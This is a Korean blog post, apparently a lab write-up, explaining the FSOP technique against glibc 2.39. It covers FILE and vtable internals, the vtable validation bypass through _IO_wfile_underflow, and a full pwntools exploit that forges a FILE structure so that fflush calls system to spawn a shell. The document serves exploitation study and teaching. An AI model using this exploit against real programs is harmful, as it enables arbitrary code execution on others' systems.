[Exploit Tech Analysis] FSOP

실습에 사용한 코드는 다음과 같다.

#include <stdio.h>

int main()
{
  printf("stderr : %p\n", stderr);
  read(0, stderr, 0x200);
  fflush(stderr);
  return 0;
}

1. Overview / Mitigation

일반적으로 파일들은 다음과 같이 FILE 구조체로 정의되며, FILE 구조체는 _IO_FILE의 alias이다. _IO_FILE 구조체를 살펴보면 다음과 같다.

// Def. in /libio/bits/types/FILE.h, line 7 (@glibc-2.39)
typedef struct _IO_FILE FILE;

// Def. in /libio/bits/types/struct_FILE.h, line 49 (@glibc-2.39)
struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
  ...
}

주의할 사실은 실제로 파일이 할당될 때는 내부적으로 _IO_FILE_complete구조체로 할당된다는 것이다.

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
	...
  struct _IO_wide_data *_wide_data;
  ...
};

여기서 중요한 것은 _wide_data이며, 이 구조체의 원형인 _IO_wide_data를 관찰하면 다음과 같다.

// Def. in /libio/libio.h, line 121 (@glibc-2.39)
struct _IO_wide_data
{
	...
  const struct _IO_jump_t *_wide_vtable;
};

여기서 잠깐 구조를 정리해보면 다음과 같다.이때 _IO_jump_t로 선언된 _wide_vtable은 이름에서 알 수 있듯 virtual function table(가상함수테이블)이며, 해당 파일에 대한 동작을 정의하는 함수 포인터들로 이루어져 있다. 구조를 살펴보면 다음과 같다.

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    ...
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
};

즉 우리가 read(), write() 등을 호출하면 실제로는 해당 file->read(), file->write()등을 호출해 기능이 실행되는 것이다. 즉, 다음과 같은 공격을 생각해볼 수 있다.

  1. 특정 파일의 _IO_jump_t를 찾아, read 필드의 값을 내가 원하는 함수로 덮는다.
  2. 해당 파일에 대해서 read()를 실행하면, 실제로 read()가 실행되는 대신 내가 원하는 함수가 실행되게 된다.

그러나 glibc-2.29부터, vtable에 속하는 함수를 부를 때 다음과 같이 주소를 검사하는 mitigation이 도입되며, 이런 방법은 더 이상 사용할 수 없게 되었다.

// Def. in /libio/libioP.h, line 1021 (@glibc-2.39)
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) &__io_vtables;
  if (__glibc_unlikely (offset >= IO_VTABLES_LEN))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

따라서 이를 우회해야 할 필요가 생겼고, 다음과 같은 우회 방법을 생각해볼 수 있다.

  1. IO_jump_t 안의 원하는 필드를 vtable안의 특정 함수(A)로 덮어씀
  2. 이 역시 vtable안의 함수이므로 IO_validate_vtable()을 통과함
  3. 이때 이 함수(A)는, 검증 없이 vtable 안의 함수(B)를 호출하는 흐름을 가지고 있음
  4. 따라서 B를 우리가 원하는 함수로 덮어쓰면 흐름 제어가 가능함

이 과정을 그림으로 정리하면 다음과 같다.

  1. 변조된 파일 객체에 대해 close()를 수행함
  2. close()대신 A()가 실행됨
  3. A()B()를 검증 없이 호출함
  4. B()는 공격자가 설정한 임의 함수이므로 실행 흐름이 옮겨짐

2. _IO_wfile_underflow() 탐구

우리가 공격에 사용할 함수인 _IO_wfile_underflow()는 다음과 같은 흐름을 가진다.

// Def. in /libio/wfileops.c, line 110 (@glibc-2.39)

wint_t
_IO_wfile_underflow (FILE *fp)
{
	...
  /* C99 requires EOF to be "sticky".  */
  if (fp->_flags & _IO_EOF_SEEN)   // (1)
    return WEOF;

  if (__glibc_unlikely (fp->_flags & _IO_NO_READS)) // (2)
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
    
  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end) // (3)
    return *fp->_wide_data->_IO_read_ptr;
  ...
  if (fp->_IO_read_ptr < fp->_IO_read_end)  // (4)
	  {
      ...
		}

  if (fp->_IO_buf_base == NULL)  // (5)
    {
	    ...
    }
	...
  if (fp->_wide_data->_IO_buf_base == NULL)  // (6)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_wide_data->_IO_save_base != NULL)
	{
	  free (fp->_wide_data->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_wdoallocbuf (fp);
    }
}
// Def. in /libio/libio.h, line 224 (@glibc-2.39)
#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)

// Def. in /libio/wgenops.c, line 363 (@glibc-2.39)
void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)  // Important!
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
		     fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

중요 조건과 함수 호출만 그림으로 정리해보면 다음과 같다.

따라서 저 조건을 만족하도록 _IO_FILE_complete 구조체를 구성하려면 다음과 같아야 한다.

  1. _IO_EOF_SEEN flag가 설정되어있지 않아야 함
  2. _IO_NO_READS flag가 설정되어있지 않아야 함
  3. _wide_data->_IO_read_ptr_wide_data->_IO_read_end보다 크거나 같아야 함. (둘 다 0으로 덮어주면 가능함)
  4. _IO_read_ptr_IO_read_end보다 크거나 같아야 함 (두 값을 각각 1, 0으로 설정해주면 가능함)
  5. _IO_buf_base가 NULL이어야 함
  6. _wide_data->_IO_buf_base가 NULL이 아니어야 함

3. 공격

3-1. 정보 수집

우선 fflush()의 흐름을 따라가다 보면, 다음과 같이 vtable 안의 offset이 0x60인 _IO_file_sync를 호출한다는 점을 볼 수 있다.

이후 함수 테이블을 다시 살펴보면, 다음과 같다.

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    ...
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
};

우리가 공격에 사용할 함수는 __underflow이며, 특히 이 __underflow_IO_wfile_underflow()가 적힌 vtable을 사용할 것이다. 모든 vtable들이 __io_vtables에 array로 연결되어 있다는 점을 통해 다음과 같이 __io_vtables를 전체 탐색하다 보면 다음과 깉이 _IO_wfile_jumps에 연결된 _IO_wfile_underflow()를 발견할 수 있다. 또한 이 결과로부터 오프셋은 0x20 임을 쉽게 알 수 있다.

우리가 사용할 것은 _IO_wfile_jumps 안에서 불리는 _IO_wdoallocbuf이며, 특히 다음 구문을 사용할 것이다.

if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)

이때 _IO_WDOALLOCATE() 메크로는 위에서 봤듯 vtable안의 __doallocate 필드에 적힌 함수를 호출한다. 위의 구조체로부터 이 필드의 오프셋이 0x68이라는 점을 알면, 다음과 같은 공격 방향을 설정할 수 있다.

  1. fflush()vtableIO_wfile_underflow() 로 덮어씀
  2. 가짜 vtable을 만들어 doallocatesystem()을 가리키도록 함
  3. fp->flags의 상위 비트에 ; sh를 넣어 결과적으로 doallocate(fp)system(fp->flags) 가 되도록 함

3-2. Payload 작성

이와 위에서 논의한 조건들을 고려해 _IO_FILE_complete를 구성하면 다음과 같다.

io_file_complete = FileStructure()
io_file_complete.flags = 0x00000000fbad2404 & (~0x10) & (~0x4) & (~0x02)
io_file_complete.flags = io_file_complete.flags | 1 | int.from_bytes(b";sh", 'little') << (4 * 8)
io_file_complete.chain = stderr
io_file_complete._lock = libc.bss() + 0x1000
io_file_complete.vtable = libc.symbols['_IO_wfile_jumps'] + 0x20 - 0x60
io_file_complete._wide_data = libc.symbols['_IO_2_1_stderr_'] + 0xe0 # 0xe0 -> FSOP size
io_file_complete._IO_buf_base = 1
io_file_complete._IO_save_base = 0
io_file_complete = bytes(io_file_complete)
fake_wide  = p64(0) #_IO_read_ptr
fake_wide += p64(0) #_IO_read_end
fake_wide += p64(0) #_IO_read_base
fake_wide += p64(0) #_IO_write_base
fake_wide += p64(0) #_IO_write_ptr
fake_wide += p64(0) #_IO_write_end
fake_wide += p64(0) #_IO_buf_base
fake_wide += p64(0) #_IO_buf_end
fake_wide += p64(0) #_IO_save_base
fake_wide += p64(libc.symbols["system"]) # libc.symbols['_IO_2_1_stderr_'] + 0xe0 + 0x48
fake_wide += b"\x00" * (0xe0 - len(fake_wide))
fake_wide += p64(libc.symbols['_IO_2_1_stderr_'] + 0xe0 + 0x48 - 0x68) # vtable

그림으로 표현하면 다음과 같다.

  1. fflush()vtable+0x60을 읽어 _IO_file_sync를 호출하려고 한다.
    그러나 vtable에 이미 _IO_wfile_jumps + 0x20 - 0x60이 쓰여져 있으므로 결국 _IO_wfile_jumps + 0x20에 쓰인 _IO_wfile_underflow()를 호출하게 된다.
  2. 여러 조건을 통과한 후, _IO_WDOALLOCATE_wide_vtable + 0x68을 읽어 __doallocate()를 호출하려고 한다. 그러나 wide_vtable에 이미 fake_wide + 0x48 - 0x68이 쓰여져 있으므로 결국 fake_wide + 0x48에 쓰인 system()를 호출하게 된다.

전체 익스플로잇 코드는 다음과 같다.

펼치기/접기
from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.arch = 'amd64'
p = process("./fsop")

p.recvuntil(b"stderr : ")
stderr = int(p.recvline().strip(), 16)
libc.address = stderr - libc.symbols["_IO_2_1_stderr_"]

success(f"stderr address: {hex(stderr)}")
success(f"libc base: {hex(libc.address)}")

io_file_complete = FileStructure()
io_file_complete.flags = 0x00000000fbad2404 & (~0x10) & (~0x4) & (~0x02)
io_file_complete.flags = io_file_complete.flags | 1 | int.from_bytes(b";sh", 'little') << (4 * 8)
io_file_complete.chain = stderr
io_file_complete._lock = libc.bss() + 0x1000
io_file_complete.vtable = libc.symbols['_IO_wfile_jumps'] + 0x20 - 0x60
io_file_complete._wide_data = libc.symbols['_IO_2_1_stderr_'] + 0xe0 # 0xe0 -> FSOP size
io_file_complete._IO_buf_base = 1
io_file_complete._IO_save_base = 0
print(io_file_complete)
io_file_complete = bytes(io_file_complete)

# fp->_wide_data->_IO_buf_base == NULL
fake_wide  = p64(0) #_IO_read_ptr
fake_wide += p64(0) #_IO_read_end
fake_wide += p64(0) #_IO_read_base
fake_wide += p64(0) #_IO_write_base
fake_wide += p64(0) #_IO_write_ptr
fake_wide += p64(0) #_IO_write_end
fake_wide += p64(0) #_IO_buf_base
fake_wide += p64(0) #_IO_buf_end
fake_wide += p64(0) #_IO_save_base
fake_wide += p64(libc.symbols["system"]) # libc.symbols['_IO_2_1_stderr_'] + 0xe0 + 0x48
fake_wide += b"\x00" * (0xe0 - len(fake_wide))
fake_wide += p64(libc.symbols['_IO_2_1_stderr_'] + 0xe0 + 0x48 - 0x68) # vtable

p.send(io_file_complete + fake_wide)
p.interactive()

이를 실행하면 쉘을 얻을 수 있다.

Reference

  1. https://jangjongmin.oopy.io/1c188168-1989-805e-a548-e9b907253295
  2. https://jangjongmin.oopy.io/1c188168-1989-8046-a164-d3af1b3c4fb3
  3. https://jangjongmin.oopy.io/1c288168-1989-80a3-8347-ec8617e77506
  4. https://jangjongmin.oopy.io/1c288168-1989-80e6-8cc6-e732a5d4fea6

Leave a comment